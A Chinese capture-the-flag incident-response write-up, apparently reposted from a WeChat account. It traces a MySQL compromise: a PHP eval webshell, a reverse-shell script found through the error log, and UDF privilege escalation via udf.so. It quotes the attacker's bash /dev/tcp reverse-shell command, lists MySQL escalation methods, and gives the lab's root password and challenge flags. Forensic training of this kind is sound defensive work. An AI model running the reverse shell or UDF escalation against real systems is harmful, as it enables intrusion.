查找第一次写入的 Shell
首先切换到网站路径
cd /var/www/html
打包源码使用 D 盾进行扫描
tar -czvf web.tar.gz ./*
发现sh.php
中存在eval()
函数,确定此文件为写入的 Shell,在 Shell 中找到 Flag 为ccfda79e-7aa1-4275-bc26-a6189eb9a20b
寻找反弹 Shell IP
这里我们需要寻找 Mysql 的报错日志,路径如下:
/var/log/mysql/error.log
在日志中找到一个可疑的1.sh
脚本
/tmp/1.sh: line 1: --2023-08-01: command not found
/tmp/1.sh: line 2: Connecting: command not found
/tmp/1.sh: line 3: HTTP: command not found
/tmp/1.sh: line 4: Length:: command not found
/tmp/1.sh: line 5: Saving: command not found
/tmp/1.sh: line 7: 0K: command not found
/tmp/1.sh: line 9: syntax error near unexpected token `('
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]'
查看1.sh
的具体如下,可以发现攻击者反弹 Shell 的 IP,这段脚本启动了 Bash Shell,将流量重定向到 TCP 连接上,实现反弹 Shell 的目的,故 Flag 为192.168.100.13
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
寻找提权文件
因为本关都是关于 Mysql 的应急响应,故猜测提权方式也和 Mysql 有关,关于 Mysql 的提权方法有四种,分别是:
-
UDF 提权 -
MOF 提权 -
启动项提权 -
CVE-2016-6663
基于目前的环境我们可以排除 MOF 提权(Windows 下可利用),启动项提权(Windows 下可利用),而 CVE-2016-6663 需要 MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17,而我们环境的 MariaDB 版本为 5.5.64,不在此漏洞的影响版本内,也可以排除掉
所以目前只剩 UDF 提权一种方法,我们只需排查这个提权方式即可,UDF 提权是基于自定义函数实现的,而自定义函数的前提是 UDF 的动态链接库文件放置于 MySQL 安装目录下的libplugin
文件夹,故我们需要登录 Mysql 对 plugin 关键字进行排查
一般来说,在/etc/mysql/my.cnf
会保存 Mysql 的登录密码,但是本关在这里并没有找到密码
在网站目录下存在一个common.php
,是网站的配置文件,包含 Mysql 的账户密码
/var/www/html/common.php
之后登录 Mysql 进行排查
mysql -uroot -p334cc35b3c704593
之后对 plugin 关键词进行排查,显示所有与 plugin 相关的系统变量
show variables like '%plugin%';
发现一个有效变量为plugin_dir
,对其路径进行排查
发现一个udf.so
,也就变相验证了我们刚才的排查思路没错
最终完整路径如下,故 MD5 加密为 Flag 为b1818bde4e310f3d23f1005185b973e7
/usr/lib/mysql/plugin/udf.so
确定攻击者获得的权限
使用ps -aux
命令查看进程的详细信息,可以看到提权文件的运行后的权限为mysql
,故 Flag 为 mysql
原文始发于微信公众号(天禧信安):【玄机】第二章-日志分析-Mysql 应急响应
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论